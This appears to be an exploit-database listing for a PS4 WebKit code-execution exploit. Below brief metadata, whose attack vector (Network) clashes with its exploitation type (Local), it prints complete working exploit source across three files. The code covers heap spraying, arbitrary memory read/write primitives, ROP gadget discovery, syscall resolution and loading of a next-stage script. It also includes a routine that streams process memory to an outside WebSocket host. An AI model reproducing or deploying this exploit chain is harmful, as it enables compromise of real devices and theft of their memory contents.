Sony Playstation 4 (PS4) WebKit Code Execution
CVE
Category
Price
Severity
CVE-2018-4441
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
$100,000 - $249,999
Critical
Author
Risk
Exploitation Type
Date
SpecterDev
High
Local
2018-03-14
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018030113 Sony Playstation 4 (PS4) WebKit Code Execution <--- index.html --->
<html>
<body>
<script>
window.didload = 0;
window.didpost = 0;
window.onload = function() {
window.didload = 1;
if (window.didpost == 1)
window.stage2();
}
window.postExpl = function() {
window.didpost = 1;
if (window.didload == 1)
window.stage2();
}
</script>
<script src="./expl.js"></script>
<script src="./rop.js"></script>
<pre id="console"></pre>
</body>
</html>
<--- /index.html --->
<--- expl.js --->
function makeid() {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < 8; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
};
var instancespr = [];
for (var i = 0; i < 4096; i++) {
instancespr[i] = new Uint32Array(1);
instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
}
var _dview;
function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
var dgc = function() {
for (var i = 0; i < 0x100; i++) {
new ArrayBuffer(0x100000);
}
}
function int64(low, hi) {
this.low = (low >>> 0);
this.hi = (hi >>> 0);
this.add32inplace = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
this.hi = new_hi;
this.low = new_lo;
}
this.add32 = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
return new int64(new_lo, new_hi);
}
this.sub32 = function(val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
return new int64(new_lo, new_hi);
}
this.sub32inplace = function(val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
this.hi = new_hi;
this.low = new_lo;
}
this.and32 = function(val) {
var new_lo = this.low & val;
var new_hi = this.hi;
return new int64(new_lo, new_hi);
}
this.and64 = function(vallo, valhi) {
var new_lo = this.low & vallo;
var new_hi = this.hi & valhi;
return new int64(new_lo, new_hi);
}
this.toString = function(val) {
val = 16;
var lo_str = (this.low >>> 0).toString(val);
var hi_str = (this.hi >>> 0).toString(val);
if (this.hi == 0)
return lo_str;
else
lo_str = zeroFill(lo_str, 8)
return hi_str + lo_str;
}
this.toPacked = function() {
return {
hi: this.hi,
low: this.low
};
}
this.setPacked = function(pck) {
this.hi = pck.hi;
this.low = pck.low;
return this;
}
return this;
}
function zeroFill(number, width) {
width -= number.toString().length;
if (width > 0) {
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
}
return number + ""; // always return a string
}
var nogc = [];
var fail = function() {
alert.apply(null, arguments);
throw "fail";
}
// Target JSObject for overlap
var tgt = {
a: 0,
b: 0,
c: 0,
d: 0
}
var y = new ImageData(1, 0x4000)
postMessage("", "*", [y.data.buffer]);
// Spray properties to ensure object is fastmalloc()'d and can be found easily later
var props = {};
for (var i = 0;
(i < (0x4000 / 2));) {
props[i++] = {
value: 0x42424242
};
props[i++] = {
value: tgt
};
}
var foundLeak = undefined;
var foundIndex = 0;
var maxCount = 0x100;
while (foundLeak == undefined && maxCount > 0) {
maxCount--;
history.pushState(y, "");
Object.defineProperties({}, props);
var leak = new Uint32Array(history.state.data.buffer);
for (var i = 0; i < leak.length - 6; i++) {
if (
leak[i] == 0x42424242 &&
leak[i + 0x1] == 0xFFFF0000 &&
leak[i + 0x2] == 0x00000000 &&
leak[i + 0x3] == 0x00000000 &&
leak[i + 0x4] == 0x00000000 &&
leak[i + 0x5] == 0x00000000 &&
leak[i + 0x6] == 0x0000000E &&
leak[i + 0x7] == 0x00000000 &&
leak[i + 0xA] == 0x00000000 &&
leak[i + 0xB] == 0x00000000 &&
leak[i + 0xC] == 0x00000000 &&
leak[i + 0xD] == 0x00000000 &&
leak[i + 0xE] == 0x0000000E &&
leak[i + 0xF] == 0x00000000
) {
foundIndex = i;
foundLeak = leak;
break;
}
}
}
if (!foundLeak) {
failed = true
fail("Failed to find leak!")
}
var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
Array.prototype.__defineGetter__(100, () => 1);
var f = document.body.appendChild(document.createElement('iframe'));
var a = new f.contentWindow.Array(13.37, 13.37);
var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);
var master = new Uint32Array(0x1000);
var slave = new Uint32Array(0x1000);
var leakval_u32 = new Uint32Array(0x1000);
var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];
// Create fake ArrayBufferView
tgt.a = u2d(2048, 0x1602300);
tgt.b = 0;
tgt.c = leakval_helper;
tgt.d = 0x1337;
var c = Array.prototype.concat.call(a, b);
document.body.removeChild(f);
var hax = c[0];
c[0] = 0;
tgt.c = c;
hax[2] = 0;
hax[3] = 0;
Object.defineProperty(Array.prototype, 100, {
get: undefined
});
tgt.c = leakval_helper;
var butterfly = new int64(hax[2], hax[3]);
butterfly.low += 0x10;
tgt.c = leakval_u32;
var lkv_u32_old = new int64(hax[4], hax[5]);
hax[4] = butterfly.low;
hax[5] = butterfly.hi;
// Setup read/write primitive
tgt.c = master;
hax[4] = leakval_u32[0];
hax[5] = leakval_u32[1];
var addr_to_slavebuf = new int64(master[4], master[5]);
tgt.c = leakval_u32;
hax[4] = lkv_u32_old.low;
hax[5] = lkv_u32_old.hi;
tgt.c = 0;
hax = 0;
var prim = {
write8: function(addr, val) {
master[4] = addr.low;
master[5] = addr.hi;
if (val instanceof int64) {
slave[0] = val.low;
slave[1] = val.hi;
} else {
slave[0] = val;
slave[1] = 0;
}
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
},
write4: function(addr, val) {
master[4] = addr.low;
master[5] = addr.hi;
slave[0] = val;
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
},
read8: function(addr) {
master[4] = addr.low;
master[5] = addr.hi;
var rtv = new int64(slave[0], slave[1]);
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
return rtv;
},
read4: function(addr) {
master[4] = addr.low;
master[5] = addr.hi;
var rtv = slave[0];
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
return rtv;
},
leakval: function(jsval) {
leakval_helper[0] = jsval;
var rtv = this.read8(butterfly);
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
return rtv;
},
createval: function(jsval) {
this.write8(butterfly, jsval);
var rt = leakval_helper[0];
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
return rt;
}
};
window.primitives = prim;
if (window.postExpl) window.postExpl();
<--- /expl.js --->
<--- rop.js -->
var p;
var xhr_sync_log = function(str) {
var req = new XMLHttpRequest();
req.open('GET', "log?" + str, false);
try {
req.send();
} catch(e){}
}
var findModuleBaseXHR = function(addr)
{
var addr_ = addr.add32(0); // copy
addr_.low &= 0xFFFFF000;
xhr_sync_log("START: " + addr_);
while (1) {
var vr = p.read4(addr_.add32(0x110-4));
xhr_sync_log("step" + addr_);
addr_.sub32inplace(0x1000);
}
}
var log = function(x) {
document.getElementById("console").innerText += x + "\n";
}
var print = function(string) { // like log but html
document.getElementById("console").innerHTML += string + "\n";
}
var dumpModuleXHR = function(moduleBase) {
var chunk = new ArrayBuffer(0x1000);
var chunk32 = new Uint32Array(chunk);
var chunk8 = new Uint8Array(chunk);
connection = new WebSocket('ws://10.17.0.1:8080');
connection.binaryType = "arraybuffer";
var helo = new Uint32Array(1);
helo[0] = 0x41414141;
var moduleBase_ = moduleBase.add32(0);
connection.onmessage = function() {
try {
for (var i = 0; i < chunk32.length; i++)
{
var val = p.read4(moduleBase_);
chunk32[i] = val;
moduleBase_.add32inplace(4);
}
connection.send(chunk8);
} catch (e) {
print(e);
}
}
}
var get_jmptgt = function(addr)
{
var z=p.read4(addr) & 0xFFFF;
var y=p.read4(addr.add32(2));
if (z != 0x25ff) return 0;
return addr.add32(y+6);
}
var gadgetmap_wk = {
"ep": [0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5D, 0xC3],
"pop rsi": [0x5E, 0xC3],
"pop rdi": [0x5F, 0xC3],
"pop rsp": [0x5c, 0xC3],
"pop rax": [0x58, 0xC3],
"pop rdx": [0x5a, 0xC3],
"pop rcx": [0x59, 0xC3],
"pop rsp": [0x5c, 0xC3],
"pop rbp": [0x5d, 0xC3],
"pop r8": [0x47, 0x58, 0xC3],
"pop r9": [0x47, 0x59, 0xC3],
"infloop": [0xEB, 0xFE, 0xc3],
"ret": [0xC3],
"mov [rdi], rsi": [0x48, 0x89, 0x37, 0xC3],
"mov [rax], rsi": [0x48, 0x89, 0x30, 0xC3],
"mov [rdi], rax": [0x48, 0x89, 0x07, 0xC3],
"mov rxa, rdi": [0x48, 0x89, 0xF8, 0xC3]
};
var slowpath_jop = [0x48, 0x8B, 0x7F, 0x48, 0x48, 0x8B, 0x07, 0x48, 0x8B, 0x40, 0x30, 0xFF, 0xE0];
slowpath_jop.reverse();
var gadgets;
window.stage2 = function() {
try {
window.stage2_();
} catch (e) {
print(e);
}
}
var gadgetcache = {"ret":60,"ep":173,"pop rbp":182,"pop rax":17781,"mov rax, rdi":23248,"pop r8":100517,"pop rsp":128173,"mov [rdi], rsi":150754,"pop rcx":169041,"pop rdi":239071,"pop rsi":597265,"mov [rdi], rax":782172,"jop":813600,"pop rdx":1092690,"mov [rax], rsi":2484823,"pop r9":21430095,"infloop":22604906}, gadgetoffs = {};
window.stage2_ = function() {
p = window.prim;
print ("[+] exploit succeeded");
print("webkit exploit result: " + p.leakval(0x41414141));
print ("--- welcome to stage2 ---");
p.leakfunc = function(func)
{
var fptr_store = p.leakval(func);
return (p.read8(fptr_store.add32(0x18))).add32(0x40);
}
gadgetconn = 0;
if (!gadgetcache)
gadgetconn = new WebSocket('ws://10.17.0.1:8080');
var parseFloatStore = p.leakfunc(parseFloat);
var parseFloatPtr = p.read8(parseFloatStore);
print("parseFloat at: 0x" + parseFloatPtr);
var webKitBase = p.read8(parseFloatStore);
window.webKitBase = webKitBase;
webKitBase.low &= 0xfffff000;
webKitBase.sub32inplace(0x5b7000-0x1C000);
print("libwebkit base at: 0x" + webKitBase);
var o2wk = function(o)
{
return webKitBase.add32(o);
}
gadgets = {
"stack_chk_fail": o2wk(0xc8),
"memset": o2wk(0x228),
"setjmp": o2wk(0x14f8)
};
/*
var libSceLibcInternalBase = p.read8(get_jmptgt(gadgets.memset));
libSceLibcInternalBase.low &= ~0x3FFF;
libSceLibcInternalBase.sub32inplace(0x20000);
print("libSceLibcInternal: 0x" + libSceLibcInternalBase.toString());
window.libSceLibcInternalBase = libSceLibcInternalBase;
*/
var libKernelBase = p.read8(get_jmptgt(gadgets.stack_chk_fail));
window.libKernelBase = libKernelBase;
libKernelBase.low &= 0xfffff000;
libKernelBase.sub32inplace(0x12000);
print("libkernel_web base at: 0x" + libKernelBase);
var o2lk = function(o)
{
return libKernelBase.add32(o);
}
window.o2lk = o2lk;
var wkview = new Uint8Array(0x1000);
var wkstr = p.leakval(wkview).add32(0x10);
var orig_wkview_buf = p.read8(wkstr);
p.write8(wkstr, webKitBase);
p.write4(wkstr.add32(8), 0x367c000);
var gadgets_to_find = 0;
var gadgetnames = [];
for (var gadgetname in gadgetmap_wk) {
if (gadgetmap_wk.hasOwnProperty(gadgetname)) {
gadgets_to_find++;
gadgetnames.push(gadgetname);
gadgetmap_wk[gadgetname].reverse();
}
}
log("finding gadgets");
gadgets_to_find++; // slowpath_jop
var findgadget = function(donecb) {
if (gadgetcache)
{
gadgets_to_find=0;
slowpath_jop=0;
log("using cached gadgets");
for (var gadgetname in gadgetcache) {
if (gadgetcache.hasOwnProperty(gadgetname)) {
gadgets[gadgetname] = o2wk(gadgetcache[gadgetname]);
}
}
} else {
for (var i=0; i < wkview.length; i++)
{
if (wkview[i] == 0xc3)
{
for (var nl=0; nl < gadgetnames.length; nl++)
{
var found = 1;
if (!gadgetnames[nl]) continue;
var gadgetbytes = gadgetmap_wk[gadgetnames[nl]];
for (var compareidx = 0; compareidx < gadgetbytes.length; compareidx++)
{
if (gadgetbytes[compareidx] != wkview[i - compareidx]){
found = 0;
break;
}
}
if (!found) continue;
gadgets[gadgetnames[nl]] = o2wk(i - gadgetbytes.length + 1);
gadgetoffs[gadgetnames[nl]] = i - gadgetbytes.length + 1;
delete gadgetnames[nl];
gadgets_to_find--;
}
} else if (wkview[i] == 0xe0 && wkview[i-1] == 0xff && slowpath_jop)
{
var found = 1;
for (var compareidx = 0; compareidx < slowpath_jop.length; compareidx++)
{
if (slowpath_jop[compareidx] != wkview[i - compareidx])
{
found = 0;
break;
}
}
if (!found) continue;
gadgets["jop"] = o2wk(i - slowpath_jop.length + 1);
gadgetoffs["jop"] = i - slowpath_jop.length + 1;
gadgets_to_find--;
slowpath_jop = 0;
}
if (!gadgets_to_find) break;
}
}
if (!gadgets_to_find && !slowpath_jop) {
log("found gadgets");
if (gadgetconn)
gadgetconn.onopen = function(e){
gadgetconn.send(JSON.stringify(gadgetoffs));
}
setTimeout(donecb, 50);
} else {
log("missing gadgets: ");
for (var nl in gadgetnames) {
log(" - " + gadgetnames[nl]);
}
if(slowpath_jop) log(" - jop gadget");
}
}
findgadget(function(){});
var hold1;
var hold2;
var holdz;
var holdz1;
while (1)
{
hold1 = {a:0, b:0, c:0, d:0};
hold2 = {a:0, b:0, c:0, d:0};
holdz1 = p.leakval(hold2);
holdz = p.leakval(hold1);
if (holdz.low - 0x30 == holdz1.low) break;
}
var pushframe = [];
pushframe.length = 0x80;
var funcbuf;
var launch_chain = function(chain)
{
var stackPointer = 0;
var stackCookie = 0;
var orig_reenter_rip = 0;
var reenter_help = {length: {valueOf: function(){
orig_reenter_rip = p.read8(stackPointer);
stackCookie = p.read8(stackPointer.add32(8));
var returnToFrame = stackPointer;
var ocnt = chain.count;
chain.push_write8(stackPointer, orig_reenter_rip);
chain.push_write8(stackPointer.add32(8), stackCookie);
if (chain.runtime) returnToFrame=chain.runtime(stackPointer);
chain.push(gadgets["pop rsp"]); // pop rsp
chain.push(returnToFrame); // -> back to the trap life
chain.count = ocnt;
p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
p.write8(stackPointer.add32(8), chain.ropframeptr); // -> rop frame
}}};
var funcbuf32 = new Uint32Array(0x100);
nogc.push(funcbuf32);
funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));
p.write8(funcbuf.add32(0x30), gadgets["setjmp"]);
p.write8(funcbuf.add32(0x80), gadgets["jop"]);
p.write8(funcbuf,funcbuf);
p.write8(parseFloatStore, gadgets["jop"]);
var orig_hold = p.read8(holdz1);
var orig_hold48 = p.read8(holdz1.add32(0x48));
p.write8(holdz1, funcbuf.add32(0x50));
p.write8(holdz1.add32(0x48), funcbuf);
parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);
p.write8(holdz1, orig_hold);
p.write8(holdz1.add32(0x48), orig_hold48);
stackPointer = p.read8(funcbuf.add32(0x10));
rtv=Array.prototype.splice.apply(reenter_help);
return p.leakval(rtv);
}
gadgets = gadgets;
p.loadchain = launch_chain;
window.RopChain = function () {
this.ropframe = new Uint32Array(0x10000);
this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10));
this.count = 0;
this.clear = function() {
this.count = 0;
this.runtime = undefined;
for (var i = 0; i < 0x1000/8; i++)
{
p.write8(this.ropframeptr.add32(i*8), 0);
}
};
this.pushSymbolic = function() {
this.count++;
return this.count-1;
}
this.finalizeSymbolic = function(idx, val) {
p.write8(this.ropframeptr.add32(idx*8), val);
}
this.push = function(val) {
this.finalizeSymbolic(this.pushSymbolic(), val);
}
this.push_write8 = function(where, what)
{
this.push(gadgets["pop rdi"]); // pop rdi
this.push(where); // where
this.push(gadgets["pop rsi"]); // pop rsi
this.push(what); // what
this.push(gadgets["mov [rdi], rsi"]); // perform write
}
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
{
this.push(gadgets["pop rdi"]); // pop rdi
this.push(rdi); // what
this.push(gadgets["pop rsi"]); // pop rsi
this.push(rsi); // what
this.push(gadgets["pop rdx"]); // pop rdx
this.push(rdx); // what
this.push(gadgets["pop rcx"]); // pop r10
this.push(rcx); // what
this.push(gadgets["pop r8"]); // pop r8
this.push(r8); // what
this.push(gadgets["pop r9"]); // pop r9
this.push(r9); // what
this.push(rip); // jmp
return this;
}
this.run = function() {
var retv = p.loadchain(this, this.notimes);
this.clear();
return retv;
}
return this;
};
var RopChain = window.RopChain();
window.syscallnames = {"exit": 1,"fork": 2,"read": 3,"write": 4,"open": 5,"close": 6,"wait4": 7,"unlink": 10,"chdir": 12,"chmod": 15,"getpid": 20,"setuid": 23,"getuid": 24,"geteuid": 25,"recvmsg": 27,"sendmsg": 28,"recvfrom": 29,"accept": 30,"getpeername": 31,"getsockname": 32,"access": 33,"chflags": 34,"fchflags": 35,"sync": 36,"kill": 37,"getppid": 39,"dup": 41,"pipe": 42,"getegid": 43,"profil": 44,"getgid": 47,"getlogin": 49,"setlogin": 50,"sigaltstack": 53,"ioctl": 54,"reboot": 55,"revoke": 56,"execve": 59,"execve": 59,"msync": 65,"munmap": 73,"mprotect": 74,"madvise": 75,"mincore": 78,"getgroups": 79,"setgroups": 80,"setitimer": 83,"getitimer": 86,"getdtablesize": 89,"dup2": 90,"fcntl": 92,"select": 93,"fsync": 95,"setpriority": 96,"socket": 97,"connect": 98,"accept": 99,"getpriority": 100,"send": 101,"recv": 102,"bind": 104,"setsockopt": 105,"listen": 106,"recvmsg": 113,"sendmsg": 114,"gettimeofday": 116,"getrusage": 117,"getsockopt": 118,"readv": 120,"writev": 121,"settimeofday": 122,"fchmod": 124,"recvfrom": 125,"setreuid": 126,"setregid": 127,"rename": 128,"flock": 131,"sendto": 133,"shutdown": 134,"socketpair": 135,"mkdir": 136,"rmdir": 137,"utimes": 138,"adjtime": 140,"getpeername": 141,"setsid": 147,"sysarch": 165,"setegid": 182,"seteuid": 183,"stat": 188,"fstat": 189,"lstat": 190,"pathconf": 191,"fpathconf": 192,"getrlimit": 194,"setrlimit": 195,"getdirentries": 196,"__sysctl": 202,"mlock": 203,"munlock": 204,"futimes": 206,"poll": 209,"clock_gettime": 232,"clock_settime": 233,"clock_getres": 234,"ktimer_create": 235,"ktimer_delete": 236,"ktimer_settime": 237,"ktimer_gettime": 238,"ktimer_getoverrun": 239,"nanosleep": 240,"rfork": 251,"issetugid": 253,"getdents": 272,"preadv": 289,"pwritev": 290,"getsid": 310,"aio_suspend": 315,"mlockall": 324,"munlockall": 325,"sched_setparam": 327,"sched_getparam": 328,"sched_setscheduler": 329,"sched_getscheduler": 330,"sched_yield": 331,"sched_get_priority_max": 332,"sched_get_priority_min": 333,"sched_rr_get_interval": 334,"sigprocmask": 340,"sigprocmask": 340,"sigsuspend": 341,"sigpending": 343,"sigtimedwait": 345,"sigwaitinfo": 346,"kqueue": 362,"kevent": 363,"uuidgen": 392,"sendfile": 393,"fstatfs": 397,"ksem_close": 400,"ksem_post": 401,"ksem_wait": 402,"ksem_trywait": 403,"ksem_init": 404,"ksem_open": 405,"ksem_unlink": 406,"ksem_getvalue": 407,"ksem_destroy": 408,"sigaction": 416,"sigreturn": 417,"getcontext": 421,"setcontext": 422,"swapcontext": 423,"sigwait": 429,"thr_create": 430,"thr_exit": 431,"thr_self": 432,"thr_kill": 433,"ksem_timedwait": 441,"thr_suspend": 442,"thr_wake": 443,"kldunloadf": 444,"_umtx_op": 454,"_umtx_op": 454,"thr_new": 455,"sigqueue": 456,"thr_set_name": 464,"rtprio_thread": 466,"pread": 475,"pwrite": 476,"mmap": 477,"lseek": 478,"truncate": 479,"ftruncate": 480,"thr_kill2": 481,"shm_open": 482,"shm_unlink": 483,"cpuset_getid": 486,"cpuset_getaffinity": 487,"cpuset_setaffinity": 488,"openat": 499,"pselect": 522,"wait6": 532,"cap_rights_limit": 533,"cap_ioctls_limit": 534,"cap_ioctls_get": 535,"cap_fcntls_limit": 536,"bindat": 538,"connectat": 539,"chflagsat": 540,"accept4": 541,"pipe2": 542,"aio_mlock": 543,"procctl": 544,"ppoll": 545,"futimens": 546,"utimensat": 547,"numa_getaffinity": 548,"numa_setaffinity": 549}
function swapkeyval(json){
var ret = {};
for(var key in json){
if (json.hasOwnProperty(key)) {
ret[json[key]] = key;
}
}
return ret;
}
window.nameforsyscall = swapkeyval(window.syscallnames);
window.syscalls = {};
log("--- welcome to stage3 ---");
var kview = new Uint8Array(0x1000);
var kstr = p.leakval(kview).add32(0x10);
var orig_kview_buf = p.read8(kstr);
p.write8(kstr, window.libKernelBase);
p.write4(kstr.add32(8), 0x40000); // high enough lel
var countbytes;
for (var i=0; i < 0x40000; i++)
{
if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
{
countbytes = i;
break;
}
}
p.write4(kstr.add32(8), countbytes + 32);
var dview32 = new Uint32Array(1);
var dview8 = new Uint8Array(dview32.buffer);
for (var i=0; i < countbytes; i++)
{
if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
{
dview8[0] = kview[i+3];
dview8[1] = kview[i+4];
dview8[2] = kview[i+5];
dview8[3] = kview[i+6];
var syscallno = dview32[0];
window.syscalls[syscallno] = window.libKernelBase.add32(i);
}
}
var chain = new window.RopChain;
var returnvalue;
p.fcall_ = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
chain.clear();
chain.notimes = this.next_notime;
this.next_notime = 1;
chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
chain.push(window.gadgets["pop rdi"]); // pop rdi
chain.push(chain.ropframeptr.add32(0x3ff8)); // where
chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax
chain.push(window.gadgets["pop rax"]); // pop rax
chain.push(p.leakval(0x41414242)); // where
if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
returnvalue = p.read8(chain.ropframeptr.add32(0x3ff8)); //p.read8(chain.ropframeptr.add32(0x3ff8));
}
p.fcall = function()
{
var rv=p.fcall_.apply(this,arguments);
return returnvalue;
}
p.readstr = function(addr){
var addr_ = addr.add32(0); // copy
var rd = p.read4(addr_);
var buf = "";
while (rd & 0xFF)
{
buf += String.fromCharCode(rd & 0xFF);
addr_.add32inplace(1);
rd = p.read4(addr_);
}
return buf;
}
p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
{
if (typeof sysc == "string") {
sysc = window.syscallnames[sysc];
}
if (typeof sysc != "number") {
throw new Error("invalid syscall");
}
var off = window.syscalls[sysc];
if (off == undefined)
{
throw new Error("invalid syscall");
}
return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
}
p.sptr = function(str) {
var bufView = new Uint8Array(str.length+1);
for (var i=0; i<str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
}
window.nogc.push(bufView);
return p.read8(p.leakval(bufView).add32(0x10));
};
log("loaded sycalls");
var rtv1 = p.fcall(window.gadgets["mov rax, rdi"], 0x41414141);
var pid = p.syscall("getpid");
var uid = p.syscall("getuid");
print("all good. fcall test retval = " + rtv1 + " - uid: " + uid + " - pid: " + pid);
sc = document.createElement("script");
sc.src="kern.js";
document.body.appendChild(sc);
}
<--- /rop.js -->
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